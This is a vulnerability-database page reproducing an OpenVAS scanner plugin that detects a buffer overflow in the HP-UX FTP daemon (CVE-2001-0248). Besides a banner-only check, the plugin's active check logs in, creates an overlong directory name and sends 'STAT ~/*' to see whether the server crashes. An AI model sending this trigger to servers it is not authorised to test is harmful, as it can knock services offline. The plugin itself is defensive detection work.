Lucene search
+L

HP-UX ftpd glob() Expansion STAT Buffer Overflow

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2003 Xue Yong ZhiType 
openvas
 openvas
🔗 plugins.openvas.org👁 35 Views

Buffer overflow in HP-UX ftpd, allows remote code execution by exploiting glob() in STAT command

Related
Refs
Code
SourceLink
securityfocuswww.securityfocus.com/bid/2552
# SPDX-FileCopyrightText: 2003 Xue Yong Zhi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11372");
  script_version("2024-02-05T05:05:38+0000");
  script_tag(name:"last_modification", value:"2024-02-05 05:05:38 +0000 (Mon, 05 Feb 2024)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/2552");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2024-02-02 03:06:07 +0000 (Fri, 02 Feb 2024)");
  script_cve_id("CVE-2001-0248");
  script_name("HP-UX ftpd glob() Expansion STAT Buffer Overflow");
  script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_family("FTP");
  script_copyright("Copyright (C) 2003 Xue Yong Zhi");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "ftp_writeable_directories.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/login", "ftp/writeable_dir", "ftp/banner/available");

  script_tag(name:"solution", value:"- Upgrade your FTP server.

  - Consider removing directories writable by 'anonymous'.");

  script_tag(name:"summary", value:"Buffer overflow in FTP server in HPUX 11 and previous
  allows remote attackers to execute arbitrary commands by creating a long pathname and calling
  the STAT command, which uses glob to generate long strings.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

# TODO: have not observed enough HP-UX FTP banners, safecheck
# is inaccurate and even wrong!
#
# TODO: do not check other FTPD
#
# From COVERT-2001-02:
# "when an FTP daemon receives a request involving a
# file that has a tilde as its first character, it typically runs the
# entire filename string through globbing code in order to resolve the
# specified home directory into a full path.  This has the side effect
# of expanding other metacharacters in the pathname string, which can
# lead to very large input strings being passed into the main command
# processing routines. This can lead to exploitable buffer overflow
# conditions, depending upon how these routines manipulate their input."

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
password = kb_creds["pass"];
wri = get_kb_item("ftp/writeable_dir");

safe_checks = 0;
if(!login || !password || !wri || safe_checks())
  safe_checks = 1;

if(safe_checks) {
  banner = ftp_get_banner(port: port);
  if(banner) {
    vuln = FALSE;

    #HP-UX 10.0, 10.10, 10.20, 10.30, 11.0(ICAT)
    #HP HP-UX 10.0.1, 10.10, 10.20, 11.0 and HP HP-UX (VVOS) 10.24, 11.0.4(bugtrap)
    #Actually Looking for 10.*, 11.0* here
    if(ereg(pattern:"FTP server.*[vV]ersion[^0-9]*(10\.[0-9]+|11\.0)", string:banner))
      vuln = TRUE;

    if(vuln) {
      security_message(port:port);
    }
  }
  exit(0);
}

soc = open_sock_tcp(port);
if(soc) {
  if(login && wri) {
    if(ftp_log_in(socket:soc, user:login, pass:password)) {
      c = string("CWD ", wri, "\r\n");
      send(socket:soc, data:c);
      b = ftp_recv_line(socket:soc);
      if(!ereg(pattern:"^250.*", string:b)) exit(0);
      mkd = string("MKD ", crap(505), "\r\n"); #505+4+2=511
      mkdshort = string("MKD ", crap(249), "\r\n"); #249+4+2=255
      stat = string("STAT ~/*\r\n");

      send(socket:soc, data:mkd);
      b = ftp_recv_line(socket:soc);
      if(!ereg(pattern:"^257 .*", string:b)) {
        #If the server refuse to create a long dir for some reason, try a short one to see if it will die.
        send(socket:soc, data:mkdshort);
        b = ftp_recv_line(socket:soc);
        if(!ereg(pattern:"^257 .*", string:b)) exit(0);
      }

      #STAT use control channel
      send(socket:soc, data:stat);
      b = ftp_recv_line(socket:soc);

      send(socket:soc, data:'RMD ' + crap(505) + '\r\n');
      send(socket:soc, data:'RMD ' + crap(249) + '\r\n');

      if(!b){
        security_message(port:port);
        exit(0);
      } else {
        ftp_close(socket:soc);
      }
    }
  }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Feb 2024 00:00Current
10High risk
Vulners AI Score10
CVSS 3.19.8
CVSS 210
EPSS0.11169
35